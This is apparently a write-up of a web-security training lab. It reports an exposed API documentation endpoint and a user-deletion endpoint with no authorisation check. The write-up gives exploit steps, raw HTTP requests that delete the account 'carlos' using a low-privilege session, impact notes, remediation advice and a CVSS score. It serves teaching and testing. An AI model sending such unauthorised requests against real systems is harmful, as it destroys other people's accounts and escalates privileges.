

Title of Issue

API Security Misconfiguration — Unauthorised User Deletion via Exposed API Documentation

Description

The application exposes its API documentation at a publicly accessible endpoint (`/api`). The documentation reveals a `DELETE /api/user/{username}` endpoint intended for administrative use. However, this endpoint lacks proper authorisation controls — any authenticated user (including low-privilege accounts) can invoke it to delete arbitrary user accounts. The combination of exposed documentation and missing authorisation constitutes a critical access control vulnerability.

Affected Endpoint: `DELETE /api/user/{username}` **Documentation Endpoint:** `GET /api` **Missing Control:** Authorisation check (only admins should be able to delete users)

Steps to Exploit

1. Log in as `wiener:peter` .
2. Navigate to `https://<lab-id>.web-security-academy.net/api` to view the API documentation.
3. Observe the available endpoints documented, including:
 - `GET /api/user/{username}` — retrieve user details
 - `PATCH /api/user/{username}` — update user details
 - `DELETE /api/user/{username}` — delete a user account
4. Send a `DELETE` request to remove user `carlos` :

```
DELETE /api/user/carlos HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: session=<wiener-session>
```

5. Observe HTTP 200 or 204 — user `carlos` is deleted.
 6. The lab is marked as solved.
-

Proof of Concept

Step 1 — Discover API documentation:

```
GET /api HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: session=<wiener-session>
```

Response (excerpt from API docs):

```
{
  "paths": {
    "/api/user/{username}": {
      "delete": {
        "summary": "Delete a user",
```

```
    "parameters": [{"name": "username", "in": "path", "required": true}]
  }
}
```

Step 2 — Invoke DELETE endpoint:

```
DELETE /api/user/carlos HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: session=<wiener-session>
Content-Type: application/json
```

Response:

```
HTTP/1.1 200 OK

{"result":"success"}
```

User `carlos` is deleted using `wiener`'s low-privilege session — no admin role required.

Impact

- Any authenticated user can delete arbitrary accounts, including administrators.
- Horizontal and vertical privilege escalation — low-privilege users can perform admin-only operations.
- Exposed API documentation provides a comprehensive attack surface map to adversaries.
- Mass account deletion possible by iterating usernames.

Mitigation / Remediation

1. **Implement authorisation checks on every API endpoint** — verify that the caller has the required role (e.g., `admin`) before processing destructive operations.
2. **Restrict access to API documentation** — do not expose Swagger/OpenAPI docs on production without authentication, or remove them entirely.
3. **Apply the principle of least privilege** — define and enforce what each user role is permitted to do via the API.
4. **Implement an API gateway** with centralised authorisation policies.
5. **Audit all API endpoints** during development and penetration testing to verify that access controls are correctly applied.

CVSS Score

CVSS v3.1 Score: **8.1 (High)** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

CVSS Justification

Metric	Value	Rationale
--------	-------	-----------

Attack Vector	Network	Exploitable remotely via HTTP
Attack Complexity	Low	Discovered from documentation; simple HTTP request
Privileges Required	Low	Requires a valid (low-privilege) authenticated session
User Interaction	None	No victim action required
Scope	Unchanged	Impact within the application
Confidentiality Impact	None	No data read in this exploit path
Integrity Impact	High	Arbitrary user accounts deleted
Availability Impact	High	Deletion of users disrupts application functionality